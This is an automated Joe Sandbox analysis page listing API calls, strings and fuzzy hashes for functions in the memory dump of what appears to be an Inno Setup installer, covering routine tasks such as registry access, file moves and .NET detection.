Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: Could not set permissions on the registry key because it currently does not exist.$Failed to set permissions on registry key (%d).$Setting permissions on registry key: %s\%s
API String ID: 1452528299-4018462623
Opcode ID: 624eadda418fdc7cffc746c18dc7d5f130c4742f62c33cd43457c6f9331317cf
Instruction ID: d878fdb5017a08c6729d904a96a1fe29390a0c9eb8edb650a20b90f40e03c0be
Opcode Fuzzy Hash: 624eadda418fdc7cffc746c18dc7d5f130c4742f62c33cd43457c6f9331317cf
Instruction Fuzzy Hash: FE21B6B0A042045BCB04EFAAC8426EEBBE4DF49315F50857AF408E7392D7785E0587AE

Function 00403CA4 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403CFC
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403D06
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403D15

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: dcd45591e65b03bd276bb2a5b0fabad56ebf76f0c081827c2345b0a7b763a240
Instruction ID: 657f84db466bd1c54801a2b30447fc2084338491f8142acf58a262d5883cef98
Opcode Fuzzy Hash: dcd45591e65b03bd276bb2a5b0fabad56ebf76f0c081827c2345b0a7b763a240
Instruction Fuzzy Hash: FCF0A4917442043BF21025A65C43F6B198CCB82B9BF50053FB704FA1D2D87C9D04427D

Function 004143E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

SelectPalette.GDI32(00000000,00000000,00000000), ref: 00414419
RealizePalette.GDI32(00000000), ref: 00414421
SelectPalette.GDI32(00000000,00000000,00000001), ref: 00414435
RealizePalette.GDI32(00000000), ref: 0041443B
ReleaseDC.USER32(00000000,00000000), ref: 00414446

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Palette$RealizeSelect$Release
String ID:
API String ID: 2261976640-0
Opcode ID: c9c8aa66f6917016d7555c0ac5b3df2d15848593dde74026b2272496f15e705b
Instruction ID: 3cc421e061c7a323c9855e33cbe13bf4890882f9e8533d15179bd5f7679f66d2
Opcode Fuzzy Hash: c9c8aa66f6917016d7555c0ac5b3df2d15848593dde74026b2272496f15e705b
Instruction Fuzzy Hash: A2018F7520C3806AE600A63D8C85A9F6BED9FCA718F15446EF495DB282DA7AC8018765

Function 00424CE0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 0041F074: GetActiveWindow.USER32 ref: 0041F077
Part of subcall function 0041F074: GetCurrentThreadId.KERNEL32 ref: 0041F08C
Part of subcall function 0041F074: EnumThreadWindows.USER32(00000000,Function_0001F050), ref: 0041F092

Part of subcall function 004231A8: GetSystemMetrics.USER32(00000000), ref: 004231AA

OffsetRect.USER32(?,?,?), ref: 00424DC9
DrawTextA.USER32(00000000,00000000,000000FF,?,00000C10), ref: 00424E8C
OffsetRect.USER32(?,?,?), ref: 00424E9D

Part of subcall function 00423564: GetCurrentThreadId.KERNEL32 ref: 00423579
Part of subcall function 00423564: SetWindowsHookExA.USER32(00000003,00423520,00000000,00000000), ref: 00423589
Part of subcall function 00423564: CreateThread.KERNEL32(00000000,000003E8,004234D0,00000000,00000000), ref: 004235AD

Part of subcall function 00424B2C: SetTimer.USER32(00000000,00000001,?,004234B4), ref: 00424B47

Strings

vLB, xrefs: 00424CF3, 00424DD1

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Thread$CurrentOffsetRectWindows$ActiveCreateDrawEnumHookMetricsSystemTextTimerWindow
String ID: vLB
API String ID: 1477829881-1797516613
Opcode ID: f60c0db94f79c6435689c3be0ec5c51bd4171bba0cd3912559ff41693b1fd493
Instruction ID: 1a85cd152e58b5c2614c87f396891e2b5808bef0cf689969089b0637ec596c27
Opcode Fuzzy Hash: f60c0db94f79c6435689c3be0ec5c51bd4171bba0cd3912559ff41693b1fd493
Instruction Fuzzy Hash: C5812675A003188FCB14DFA8D880ADEBBF4FF88314F50416AE905AB296E738AD45CF44

Function 00406FA4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 156shareCOMMON

Download Yara Rule

APIs

WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 00407003
WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 0040707D
WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 004070D5

Strings

Z, xrefs: 0040703C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Enum$NameOpenResourceUniversal
String ID: Z
API String ID: 3604996873-1505515367
Opcode ID: a9e747af3270ad6827a26b5e12e82ea9da9777e5f51a79d453bfa0d7b97e4fbe
Instruction ID: 78f4b6eea80f90a9c0d6dbacb1000d6f5057f9b0a0312f2c839bfa0eabc808a5
Opcode Fuzzy Hash: a9e747af3270ad6827a26b5e12e82ea9da9777e5f51a79d453bfa0d7b97e4fbe
Instruction Fuzzy Hash: 14516470E04208AFDB11DF95C951AAFBBB9EF09304F1045BAE500BB3D1D778AE458B5A

Function 0044CFC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 0044D04E
DrawTextA.USER32(00000000,00000000,00000000,?,00000D20), ref: 0044D079
DrawTextA.USER32(00000000,00000000,00000000,00000000,00000800), ref: 0044D101

Strings

, xrefs: 0044D033

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: DrawText$EmptyRect
String ID:
API String ID: 182455014-2867612384
Opcode ID: db68161afd5408c1654aba573c24ce19d8cbe725abe67675f0ae0ab7d5240f47
Instruction ID: ac611c4ae9e9b4e435f74cd3b872a097dcdbbef8ea8fa2dc8c743a2ef399c877
Opcode Fuzzy Hash: db68161afd5408c1654aba573c24ce19d8cbe725abe67675f0ae0ab7d5240f47
Instruction Fuzzy Hash: 18517171E00248AFDB11DFA5C885BDEBBF8BF48308F18447AE845EB252D7789945CB64

Function 0042EF74 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0042EF9E

Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7

SelectObject.GDI32(?,00000000), ref: 0042EFC1
ReleaseDC.USER32(00000000,?), ref: 0042F0A0

Strings

...\, xrefs: 0042F052

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateFontIndirectObjectReleaseSelect
String ID: ...\
API String ID: 3133960002-983595016
Opcode ID: d60d3d61fda1cfccc6004d571d4f03e95d236a90023185ba22a27d4902aa0075
Instruction ID: de545d42c11d103cbad381cc3223c2b5efa9fdb4a6e9ae4bb0445229962d8c70
Opcode Fuzzy Hash: d60d3d61fda1cfccc6004d571d4f03e95d236a90023185ba22a27d4902aa0075
Instruction Fuzzy Hash: 5A316370B00128AFDB11EB96D841BAEB7F8EB09348F90447BE410A7392D7785E49CA59

Function 00416410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,?,?), ref: 0041647F
UnregisterClassA.USER32(?,00400000), ref: 004164AB
RegisterClassA.USER32(?), ref: 004164CE

Strings

@, xrefs: 00416429

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Class$InfoRegisterUnregister
String ID: @
API String ID: 3749476976-2766056989
Opcode ID: 32c7bff64fe8078beb5c73cee1a3f36bf3645a98757bc26b4be27a2261280048
Instruction ID: c77080f262680b7bd3c4c6a37e0a11d074b1995aa9dd52ebf92fb76dd285a693
Opcode Fuzzy Hash: 32c7bff64fe8078beb5c73cee1a3f36bf3645a98757bc26b4be27a2261280048
Instruction Fuzzy Hash: B8316D702042409BD720EF69C981B9B77E5AB89308F04457FF949DB392DB39DD44CB6A

Function 00498364 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00498CB4,00000000,0049845A,?,?,00000000,0049B628), ref: 004983D4
SetFileAttributesA.KERNEL32(00000000,00000000,00000000,00498CB4,00000000,0049845A,?,?,00000000,0049B628), ref: 004983FD
MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 00498416

Strings

isRS-%.3u.tmp, xrefs: 004983B3

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: File$Attributes$Move
String ID: isRS-%.3u.tmp
API String ID: 3839737484-3657609586
Opcode ID: ae818b9b44497de6b1bc8be15d0cd9039968b1ae4d5861c90f185070e17a1e16
Instruction ID: a059824fbc9249a9060551c16e124b50a911f3483d94646a6204680355f36541
Opcode Fuzzy Hash: ae818b9b44497de6b1bc8be15d0cd9039968b1ae4d5861c90f185070e17a1e16
Instruction Fuzzy Hash: 52215271E04219AFCF01DFA9C8819AFBBB8EF45314F51453FB414B72D1DA385E018A59

Function 00404D2A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00404DC5
ExitProcess.KERNEL32 ref: 00404E0D

Strings

Error, xrefs: 00404DB9
Runtime error at 00000000, xrefs: 00404DBE, 00404DD1

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000
API String ID: 1220098344-2970929446
Opcode ID: 4aa0907dffceb0697d192a833af99b379258e6819ee5eddde657f3822e72bbb6
Instruction ID: e2df0dcbf1ce8e07228a8ae3c957e3f7be2bf5582065763199918d440bd3f461
Opcode Fuzzy Hash: 4aa0907dffceb0697d192a833af99b379258e6819ee5eddde657f3822e72bbb6
Instruction Fuzzy Hash: 8E219560A442414ADB11A779BA8571B3B91D7E5348F04817BE710A73E3C77C8C4487ED

Function 00456BFC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00456C50
RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 00456C7D

Strings

LoadTypeLib, xrefs: 00456C5B
RegisterTypeLib, xrefs: 00456C88

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 1312246647-2435364021
Opcode ID: 99adc2ab1761f2fa15f1ac99c5dc87c93e60f5f8f6cafab150dd189b668492eb
Instruction ID: 3ed1135b8019c5f4588910a0035f5c9e1cabb82a18fedb82429c118dce795412
Opcode Fuzzy Hash: 99adc2ab1761f2fa15f1ac99c5dc87c93e60f5f8f6cafab150dd189b668492eb
Instruction Fuzzy Hash: 2911B430B00604AFDB02EFA6CD51A5EB7BDEB89705F5184B6FC44D3752DA389904CA24

Function 00457154 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000B06,00000000,00000000), ref: 0045716E
SendMessageA.USER32(00000000,00000B00,00000000,00000000), ref: 0045720B

Strings

Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x), xrefs: 0045719A
Failed to create DebugClientWnd, xrefs: 004571D4

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID: Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x)$Failed to create DebugClientWnd
API String ID: 3850602802-3720027226
Opcode ID: fc6fb7872fb3d8ab83dfebd9de70012b153cb3911e0f3b29455ddd2ada20f49f
Instruction ID: 232a6e2857eacf703fa66588ab1bc34ed17cd0eb6a8f8a523432cade59eaaa7b
Opcode Fuzzy Hash: fc6fb7872fb3d8ab83dfebd9de70012b153cb3911e0f3b29455ddd2ada20f49f
Instruction Fuzzy Hash: 8611E770248250AFD710AB68AC85B5FBBD49B54319F15407AFE849F383D7798C18C7AE

Function 00478840 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC

GetFocus.USER32 ref: 004788AB
GetKeyState.USER32(0000007A), ref: 004788BD
WaitMessage.USER32(?,00000000,004788E4,?,00000000,0047890B,?,?,00000001,00000000,?,?,?,00480556,00000000,0048141C), ref: 004788C7

Strings

Wnd=$%x, xrefs: 0047888F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FocusMessageStateTextWaitWindow
String ID: Wnd=$%x
API String ID: 1381870634-2927251529
Opcode ID: ecab7a4e4ee1d52cc5458a1f4190fbeb54aa9787c1af12207c1503c8785d61f1
Instruction ID: 7602fbdde3feda049942b6d856a81d0b7a4c4c0c2e506da53dc8d66baae0c1c2
Opcode Fuzzy Hash: ecab7a4e4ee1d52cc5458a1f4190fbeb54aa9787c1af12207c1503c8785d61f1
Instruction Fuzzy Hash: 6B11EB70A40645AFC700FF75DC459AE77F8EB48304B9284BFF408E7280DB386900CA6A

Function 0046E760 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32(?), ref: 0046E768
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 0046E777

Strings

(invalid), xrefs: 0046E7FA
%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u, xrefs: 0046E7EC

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
API String ID: 1748579591-1013271723
Opcode ID: b5a965d629e679462cee1fe0d12d3cfb9bd2af2622692aeb463d283e3c1ff69e
Instruction ID: d6c712b8a1c8fe7cad0a5a3f3eb7758ab27952dbda4e85a7147eb7d881f6fbea
Opcode Fuzzy Hash: b5a965d629e679462cee1fe0d12d3cfb9bd2af2622692aeb463d283e3c1ff69e
Instruction Fuzzy Hash: 25113AA440C3919ED300DF2AC04432BBAE4ABD9704F04892EF8C8C6381E779C848DB77

Function 00453F76 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(00000000,00000020), ref: 00453F83

Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,00498845,00000000,0049889A,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B

MoveFileA.KERNEL32(00000000,00000000), ref: 00453FA8

Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004984F9,00000000), ref: 0045349F

Strings

MoveFile, xrefs: 00453FB1
DeleteFile, xrefs: 00453F94

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: File$AttributesDeleteErrorLastMove
String ID: DeleteFile$MoveFile
API String ID: 3024442154-139070271
Opcode ID: ec873e7ff72dae555d3190a6b892f6e399c1e5fd19ebf83f3592a013235906e0
Instruction ID: b5871bee3d194af1fa843ac656f6d820fc0ba16d57580c91db5694710367c43f
Opcode Fuzzy Hash: ec873e7ff72dae555d3190a6b892f6e399c1e5fd19ebf83f3592a013235906e0
Instruction Fuzzy Hash: AEF062716142045BD701FBA2D84266EA7ECDB8435EF60443BB900BB6C3DA3C9E094529

Function 00459364 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004594A1,00000000,00459659,?,00000000,00000000,00000000), ref: 004593B1

Strings

SOFTWARE\Microsoft\.NETFramework, xrefs: 00459384
InstallRoot, xrefs: 004593A0
.NET Framework not found, xrefs: 004593C0

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseOpen
String ID: .NET Framework not found$InstallRoot$SOFTWARE\Microsoft\.NETFramework
API String ID: 47109696-2631785700
Opcode ID: 4e861220b475c878ff727a824721439133a631de87b618ea7b4611a6d191cb9d
Instruction ID: 1950c6f853cc10ed35e504d9d8503a730f6ffd27dc9bba4e9fa27fab35675349
Opcode Fuzzy Hash: 4e861220b475c878ff727a824721439133a631de87b618ea7b4611a6d191cb9d
Instruction Fuzzy Hash: 12F0AF31300110DBCB10EB9AD885B6F6299DB9931AF50503BF981DB293E73CCC168629

Function 00483D18 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 00483D59
RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 00483D7C

Strings

System\CurrentControlSet\Control\Windows, xrefs: 00483D26
CSDVersion, xrefs: 00483D50

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: CSDVersion$System\CurrentControlSet\Control\Windows
API String ID: 3677997916-1910633163
Opcode ID: 12a26ccb63bcfc9289d36b00324cbf667c9b0308b1544d38002d5f6d22e14824
Instruction ID: d6021fe1b3f5c2f253c74081020f26ee341d0c01eb1a087a604f31c061d7dc03
